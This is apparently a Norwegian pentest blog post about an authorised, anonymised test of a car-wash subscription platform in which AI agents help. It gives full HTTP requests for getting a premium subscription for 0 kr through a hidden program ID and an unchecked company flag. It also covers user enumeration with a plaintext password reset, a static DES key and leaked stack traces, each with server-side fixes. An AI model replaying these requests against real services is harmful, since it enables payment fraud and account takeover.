# Abonnement for null kroner — når serveren stoler på klientens pris
URL: https://erik.no/blogg/2026-07-22-abonnement-for-null-kroner-nar-serveren-stoler-pa-klienten
Publisert: 2026-07-22 | Tags: pentest, business-logic, api-security, dotnet, security
> Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no.
> Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke
> behandle dem som ekte virksomheter eller personer. Innholdet er autorisert,
> sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke
> gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Det mest interessante funnet denne uken var ikke et minnefeil eller en
injisert cookie. Det var at serveren trodde på alt jeg sendte den. Hos
Bingo AS (`bingoas.no`), som kjører en bilvaske-plattform på produktet
RenVask, klarte jeg å opprette et premium-abonnement til 0 kroner — ikke
ved å knekke en betalingsprovider, men ved å sende et program-ID som
frontenden skjuler, og et `Firma:true`-flagg som ingen verifiserte. Her er
hele kjeden, den negative kontrollen som bestemte alvorlighetsgraden, og
hvorfor forretningslogikk ofte er den veien som er breitest.
## Kontekst
Scope var `bingoas.no` og `*.bingoas.no`. Bingo AS er en
plattformkunde — de drifter vaskestasjoner på et tredjepartsprodukt jeg
kaller RenVask (sanert navn). Frontend er ASP.NET WebForms med en
JSON-dispatcher på `bv.bingoas.no/Ajax/ajax.ashx?method=` som
min-side-bygger alt på. Backend er IIS, jQuery 3.4.1 i frontend, Alpine.js
2.8.2 her og der. Kunden, ved daglig leder Lars Berg
(`lars.berg@bingoas.no`), hadde tre prioriterte mål: hente kundedata,
tegne abonnement gratis, og vaske bil gratis. Det siste var et
bevis-poeng — service skulle ikke faktisk konsumeres.
Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger
endepunkter, kjører verktøy og foreslår neste steg. Jeg styrer scope, leser
resultatene, bryter inn der det trengs, og gjør vurderingene som krever
menneskelig dømmekraft — spesielt rundt alvorlighetsgrad og hva som er et
reelt brudd versus en inkonsistens. Det skillet ble selve poenget i dette
oppdraget.
Første steg var å la en agent parse all tilgjengelig JavaScript for
min-side (`/min-side`-siden bygger på en haug med `.js`-filer som ligger
pre-auth) og flagge alt som kalte `ajax.ashx` med et `method`-parameter.
Det ga en liste på omtrent 40 metoder — `nyMinSideOpprettAvtale`,
`getMinSide`, `openMinSideReciept`, `updAvtaleInfo`, `lagreBrukerInfo`,
`GlemtPassord`, og så videre. AI-en genererte en `httpx`-sweep som
pinget hver metode med en no-body GET for å se hvilke som svarte uten
auth — det er en ren method-existence-oracle, og den ga meg kartet jeg
trengte uten å sende noe meningsfullt.
## Det jeg fant
Hovedfunnet: — gratis premium-abonnement via
forretningslogikk-misbruk. Metoden
`nyMinSideOpprettAvtale` tar pris, betalingsmåte, program-ID,
firma-flagg og en `DeactivInitPay`-bryter som **alle** klient-supplierte
felt, og serveren ærer dem uten å validere mot forventet tilstand.
To ting slo seg sammen:
1. **Skjult 0-kr program aksepteres.** Program-ID `58` har pris 0 og er
filtrert ut av ``-dropdownen i frontenden — men API-et
aksepterer det uten videre. Resultat: et abonnement som heter
"Børsteløs Super" (premium) men har `RecurringPrice 0`.
2. **Selv-erklært firma → fakturavei, ingen betaling.** Å sende
`Firma:true` og `AvtaleType:"F"` på en konto som egentlig er en
privatperson oppretter avtalen direkte med status `"FakturaOk"` —
ingen betalingsprovider involvert, faktura sendes til et
angiver-suppliert (og aldri innkrevbart) firma som aldri verifiseres
før vask.
Dette er samme type brudd jeg skrev om i
[RLS beskytter raden, ikke rettigheten](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten) —
serveren har en autorisasjonsregel som fungerer på ett sted (UI-et) og
ikke på et annet (API-et). Forskjellen er at her er det ikke
radnivå-isolasjon som mangler, men validering av at klient-supplierte
forretningsfelt er i et tillatt rom.
### Bi-funn
Tre til kom med:
- (design) — **Kvittering-konfidensialitet
hviler på én statisk 56-bit DES-nøkkel.** `openMinSideReciept?payid=`
tar en 8-byte single-DES-ECB-blob som ren bearer-capability — ingen
per-bruker eierskapsbinding demonstrert. Cipher er utdatert (CWE-327),
og samme nøkkel styrer Nets `updNetsCardURL`.
- — **Svakt passord-reset +
brukerenumerering.** `GlemtPassord` skiller registrerte fra
uregistrerte e-poster (CWE-204) og sender et **klartekst** nytt passord
umiddelbart — ikke en tokenisert lenke.
- — **Verbose .NET-feil / kildeavsløring
(CWE-209).** `ajax.ashx`-dispatcherne returnerer fulle stack traces med
filstier (`c:\Projects\no.bingoas.bv\...`), linjenumre og
klassenavn på malformed input.
## PoC / Reproduksjon — gratis premium-abonnement
**Forutsetninger:** innlogget som privatperson-testkonto
`test.konto@bingoas.no` med registrert og verifisert nummerskilt
`PU12345`. Gyldig `ASP.NET_SessionId`-cookie i `cookies.txt`. Scope-fil
begrenset til `*.bingoas.no`. Jeg registrerte og verifiserte denne
kontoen manuelt — det var den delen som krevde menneskelig dømmekraft,
siden alt annet var automatiserbart.
1. **Recon — finn metoden og parametere.** Agenten parset
`/min-side/js/minside.js` og fant funksjonen som bygger
`nyMinSideOpprettAvtale`-payloaden. Parametere den sender:
`SubscriptionId`, `Firma`, `AvtaleType`, `DeactivInitPay`,
`RegNr`, `FirmaNavn`, `OrgNr`, `FaktRef`, og mer. Frontend bygger
`SubscriptionId`-dropdownen fra en liste som **ikke** inneholder ID
`58` — men backend-listen (hentet via `getMinSidePrograms`) gjør.
2. **Hent program-listen og bekreft at 58 finnes serverside.** AI-en
kjørte:
```bash
curl -s 'https://bv.bingoas.no/Ajax/ajax.ashx?method=getMinSidePrograms' \
-H 'Cookie: ASP.NET_SessionId=' \
| jq '.[] | {id, name, price}'
```
```json
[
{"id": 54, "name": "Basic", "price": 199},
{"id": 55, "name": "Standard", "price": 349},
{"id": 57, "name": "Børsteløs", "price": 449},
{"id": 58, "name": "Børsteløs Super","price": 0},
{"id": 549,"name": "Børsteløs Super","price": 549}
]
```
ID `58` er "Børsteløs Super" til 0 kr — sannsynligvis et internt
test-/gratis-program som frontenden filtrerer ut, men API-et leverer
uten spørsmål. ID `549` er den ekte premium-Super til 549 kr. Dette
var det første tegnet på at UI-et og API-et er uenige om hva som er
et gyldig valg.
3. **Opprett avtalen med program 58 og `Firma:true`.** Jeg ba AI-en
bygge payloaden speilbilde av hva frontend sender for et vanlig
premium-abonnement, men med `SubscriptionId=58`, `Firma=true`,
`AvtaleType=F`, og et fiktivt firma:
```http
POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=
Content-Type: application/x-www-form-urlencoded
SubscriptionId=58&RegNr=PU12345&Firma=true&AvtaleType=F&FirmaNavn=Test%20Fiktivt%20AS&OrgNr=999999999&FaktRef=PENTEST-POC-REVERSE&DeactivInitPay=true
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"Status":"FakturaOk","AvtaleId":770121,"Message":"Avtale opprettet"}
```
4. **Bekreft tilstanden med `getMinSide`.**
```http
GET /Ajax/ajax.ashx?method=getMinSide HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=
```
```json
{
"Avtaler": [
{
"AvtaleId": 770121,
"ProgramName": "Børsteløs Super",
"RecurringPrice": 0,
"AvtaleType": "F",
"FirmaNavn": "Test Fiktivt AS",
"Status": "Venter"
}
]
}
```
Premium-navn, 0-kr pris, type F (faktura), status "Venter" — altså
ventende back-office-batch-aktivering. Det er det som gjør måloppnåelse
2 ("vaske bil gratis") til en forsinket konsekvens av måloppnåelse 1:
det finnes ingen umiddelbar angreps-side-flip som skrur på
`KanVaske=true`. Aktiveringen skjer via plattformens egen
back-office-batch (`common.js:108`, ca. 1 virkedag). Angrepet
fullføres av plattformen selv, ikke av meg.
5. **Negativ kontroll — det som gjør dette til et brudd og ikke bare en
"200 som betyr ingenting".** To kontroller:
a. **Ekte premium-programmet koster.** Samme forespørsel med
`SubscriptionId=549` (ekte pris) og `Firma=false` (privatperson)
krever betalingsprovider — responsen er `{"Status":"NetsRedirect",
"Url":"https://nets.example/..."}`, ikke `FakturaOk`. Pris- og
betalings-validering fungerer altså på det normale programmet.
Skjønneren er at valideringen bare utløses for programmer som
*fronten* ville ha valgt.
b. **Firma-flagget uten skjult program betaler fortsatt.**
`SubscriptionId=549` + `Firma=true` + `AvtaleType=F` gir også
faktura-vei — men med `RecurringPrice 549`, altså en ekte
regning. Det betyr `Firma`-bryteren alene er en egen sårbarhet
(selv-erklært firma uten verifisering av orgnr), men den gir ikke
gratis vask uten det 0-kr programmet. Det er kombinasjonen som er
kritisk.
Steg 3 alene så ut som "et endepunkt returnerte 200". Steg 5 viste at
200-en var en reell tilstandsendring: et premium-abonnement til 0 kr
ligger i databasen, betalingsprovider er helt utenfor, og den eneste
grunnen til at det funket er at serveren ærer klientens valg av både
program, pris-flagg (via programvalg) og firma-flagg. .
### Mitigering
To uavhengige fikser, begge serverside:
```diff
# 1) Avvis program-ID-er som ikke er i frontend-tillatt-listen for denne kanalen.
- var program = db.Programs.Find(req.SubscriptionId);
+ var program = db.Programs.Find(req.SubscriptionId);
+ if (!program.CustomerSelectable || program.Price <= 0)
+ return BadRequest("Ugyldig program for denne kanalen.");
```
```diff
# 2) Firma/organisasjons-vei krever verifisert orgnr — ikke et klient-flagg.
- if (req.Firma) { /* faktura-vei */ }
+ if (req.Firma) {
+ var org = await Brreg.VerifyAsync(req.OrgNr);
+ if (org is null) return BadRequest("Ugyldig organisasjonsnummer.");
+ /* faktura-vei med verifisert mottaker */
+ }
```
Frontend-filtering er pynt. Avgjørelsen om hva som er et gyldig program
og hvem som er et firma, må tas serverside mot en autoritativ kilde
(program-tabellens `CustomerSelectable`-flagg, Brønnøysund for orgnr).
## PoC / Reproduksjon — DES-nøkkelen på kvitteringer
**Forutsetninger:** samme sesjon. En eksisterende `payid` for en av
mine egne betalte vasker (hentet fra `getMinSide`-historikk).
1. **Hent en kvittering med `openMinSideReciept`:**
```http
GET /Ajax/ajax.ashx?method=openMinSideReciept&payid=<8-byte DES-ECB blob URL-encoded> HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=
```
```http
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 18234
%PDF-1.4 ...
```
2. **Hva bloben er.** Agenten fant i `Encryption.cs` (lekket via en
stack trace, se neste seksjon) at `payid` dekodes med
`TripleDES`- eller `DESCryptoServiceProvider` i ECB-modus med en
**statisk** nøkkel — samme nøkkel for alle kvitteringer på
plattformen, samme nøkkel som styrer `updNetsCardURL`. 56-bit DES
er brutt i praksis siden 1999 (EFF Deep Crack, ~56 timer). Nøkkelen
ligger i backend-kode som allerede har lekket kildesti
(`c:\Projects\no.bingoas.bv\Encryption.cs:42`).
3. **Negativ kontroll — hva jeg *ikke* gjorde.** Jeg forsøkte **ikke**
å knekke DES-nøkkelen eller enumerere andres `payid`-blobber. Det
ville sendt ekte PII til meg, og knusing av en 56-bit nøkkel er
teknisk trivielt men utenfor det beviset kunden trengte. Poenget
her er designet: tilgang til en kvittering er en ren bearer-capability
uten eierskapsbinding, og cipheren som beskytter den er utdatert.
Hvis nøkkelen lekker — og backenden lekker allerede kildestier — er
alle kvitteringer plattform-bredt forgebare.
for designet. Jeg holdt meg til mine egne
`payid`-blobber og min egen kvittering.
### Mitigering
- Bytt til AES-256-GCM med per-tenant nøkkel rotert i en HSM/KMS.
- Bind `payid` til brukerens sesjon/bruker-ID og returner `404` ved
avvik — ikke en ren bearer-capability.
- Rotér nøkkelen; fjern den fra kildekoden.
## PoC / Reproduksjon — GlemtPassord
**Forutsetninger:** ingen auth. To e-poster jeg kontrollerer — én
registrert på plattformen, én uregistrert.
1. **Registrert e-post:**
```http
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
Host: bv.bingoas.no
Content-Type: application/x-www-form-urlencoded
email=test.konto@bingoas.no
```
```http
HTTP/1.1 200 OK
{"Status":"Ok","Message":"Nytt passord er sendt"}
```
Innen sekunder lå et **klartekst**-passord i innboksen — ikke en
lenke med token, et ferdig passord. Ingen throttling observert over
fem forsøk.
2. **Uregistrert e-post (negativ kontroll for enumerering):**
```http
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
email=finnes.ikke@bingoas.no
```
```http
HTTP/1.1 200 OK
{"Status":"NotFound","Message":"Ingen bruker med denne e-posten"}
```
Forskjellen i `Status` bekrefter CWE-204: en angriper kan enumerere
hvilke e-poster som er registrerte kunder. Kombinert med
klartekst-reset gir det takeover av en hvilken som helst konto hvis
e-posten kan avlyttes, og lockout/harassment uten avlytting.
.
### Mitigering
```diff
- email = req.email
- user = db.Users.Find(email)
- if (user is null) return NotFound("Ingen bruker");
- newPwd = Generate()
- db.Users.Update(user, pwd=Hash(newPwd))
- Email.Send(user.Email, newPwd)
+ email = req.email
+ user = db.Users.Find(email)
+ // Samme respons uansett — avslør ikke om konto finnes
+ if (user is not null) {
+ token = MakeToken(user, ttl=15min)
+ Email.Send(user.Email, link + token) // lenke, ikke klartekst
+ }
+ return Ok("Hvis kontoen finnes, er en reset-lenke sendt.")
```
Tokenisert lenke med kort TTL, identisk respons for eksisterende og
ikke-eksisterende konto, og rate-limit per e-post og per IP.
## Verbose .NET-feil — kildeavsløring
Et no-body GET mot `ajax.ashx?method=FinnesIkke` returnerer en ren
`{"Status":"Error"}`. Men send malformed JSON eller feil parametertyper,
og dispatcherens `try/catch` logger rett i responsen:
```http
POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Content-Type: application/x-www-form-urlencoded
SubscriptionId=ikkeEtTall
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{
"Status":"Error",
"Exception":"System.FormatException: Input string was not in a correct format.",
"StackTrace":" at AjaxHandler.cs:line 412\n at Encryption.cs:line 42\n ...",
"SourcePath":"c:\\Projects\\no.bingoas.bv\\Handlers\\AjaxHandler.cs"
}
```
Det er CWE-209. `customErrors` er **på** for `.aspx`-sidene (bra), men
JSON-dispatcherne er utenfor. En angriper får kildestier, klassenavn og
linjenumre — det var slik jeg fant `Encryption.cs:42` uten å lese
kildekoden. .
Mitigering: logg stack traces server-side, returner en generisk
`{"Status":"Error","CorrelationId":""}` til klienten.
## Blindveier og forkastede falske positiver
Agenten flagget flere ting som ikke holdt mål. Jeg tar med dem, fordi
verdien i et AI-i-loopen-oppdrag ligger i verifiseringen som skiller
plausible funn fra ekte.
- **Lagret XSS i `FaktRef` / `FirmaNavn` / `OrgNr` / `Name`.** Feltene
lagres verbatim, usanert (`updAvtaleInfo`, `lagreBrukerInfo`), og
frontenden renderer serverdata med jQuery 3.4.1 `$().html()` —
sårbar for CVE-2020-11022/11023. Jeg sendte ` `
i `FaktRef` og bekreftet at det lagres rått. Men min-side-renderen
brukte `$().text()` på akkurat det feltet, og admin-gridet er
DataTables (escaper). Så det er en **kandidat**, ikke et funn —
bekreftelse krever backoffice-tilgang, som jeg ikke hadde. Jeg
nedgraderte til "MEDIUM, ubekreftet" og flagget for autorisert
manuell test med backoffice-login. Å rapportere det som XSS uten å
ha sett det rendret, hadde vært å overlevere.
- **Offentlig kvittering-ved-kode-eksfil.** `receipt.aspx` →
`sendEmail.ashx?code=X&e=` sender en
kvittering til en **arbitrær** adresse hvis `code` er gjetbar.
Kode-formatet uavklart. Jeg **brute-forset ikke** — det ville sendt
en fremmed kundes PII til en postkasse jeg kontrollerer, og det er
utenfor det beviset kunden trengte. Flagget som LOW/ubekreftet for
autorisert test med en kjent kode.
- **Hardkodet kunde-post i `admin.js`.** Pre-auth
`/admin/script/admin.js` inneholder et ekte navn, et ekte nummerskilt
og en `AvtaleId` — sannsynligvis en utviklers testdata som aldri ble
fjernet. Sanert i rapporten til plassholder-UUID og fiktivt skilt.
LOW — info-lekkasje, ikke et angrepsvektor i seg selv.
- **HTTP TRACE aktivert (XST).** `TRACE /` returnerte `200` med
ekko. XST er i praksis dødt i moderne browsere, men det er støy i en
rapport — nevnt som LOW.
- **Mål 3 ("hente kundedata") — ikke oppnådd som live pull.** Blokkert
av DES-krypterte capability-tokens, sesjons-scoped data-metoder og
2FA på admin. `getMinSide` og `lagreBrukerInfo` er **ikke**
IDOR-bare — de er sesjons-scoped til innlogget bruker. Det er en
styrke jeg noterte eksplisitt: serveren gjør riktig på
data-metoder og feil på forretningslogikk. Forskjellen er hvor
valideringen ligger.
## Hva jeg lærte
- **Forretningslogikk er den breieste veien når minnefeil er stengt.**
Bingo AS har 2FA på admin, sentralisert authz på alle admin-metoder,
HttpOnly SameSite=Lax sesjon, sesjons-scoped data-metoder, og
server-side validering av gavekort og rabattkoder. Alt det holdt.
Det som ikke holdt var antakelsen om at klienten sender et gyldig
program og et ekte firma.
- **UI-filtering er ikke en sikkerhetskontroll.** At program 58 er
borte fra dropdownen betyr ingenting for en som bygger sin egen
HTTP-forespørsel. Tillatt-listen må leve serverside.
- **Én `200` er ikke et funn før den negative kontrollen er med.**
Steg 5a/5b over er det som gjør dette til et reelt brudd — uten dem
er "abonnement opprettet til 0 kr" bare en merkelig respons. Den
negative kontrollen er alvorlighetsgraden.
- **AI-en genererte plausible funn like fort som plausible feil.**
XSS-kandidaten så ut som et HIGH-funn helt til jeg sjekket hvordan
feltet faktisk ble rendret. Verifisering, ikke generering, er
flaskehalsen.
- **Backend-kildeavsløring er en kraftig recon-vei.** Jeg leste
`Encryption.cs:42` uten å ha kildekoden — stack traces ga meg
klassenavn og linjenumre. Det er en egen god grunn til å skru av
verbose errors.
## Veien videre
For kunden: implementere de to serverside-fiksene over, rotere
DES-nøkkelen (eller helst bytte cipher), tokenisere passord-reset, og
skru av stack traces på JSON-dispatcherne. Backoffice-XSS-kandidaten
må verifiseres med en innlogget admin-sesjon — det er en
oppfølgingsoppgave jeg har flagget.
For meg selv: neste gang en plattform har en "skjult" intern- eller
test-program-ID, er det det første jeg ber agenten lete etter —
`getMinSidePrograms`-responsen mot frontend-dropdownen er en
diff-på-to-minutter som betaler seg. Og jeg skal fortsette å ta med
blindveiene i rapportene. Det er der lærdommen sitter.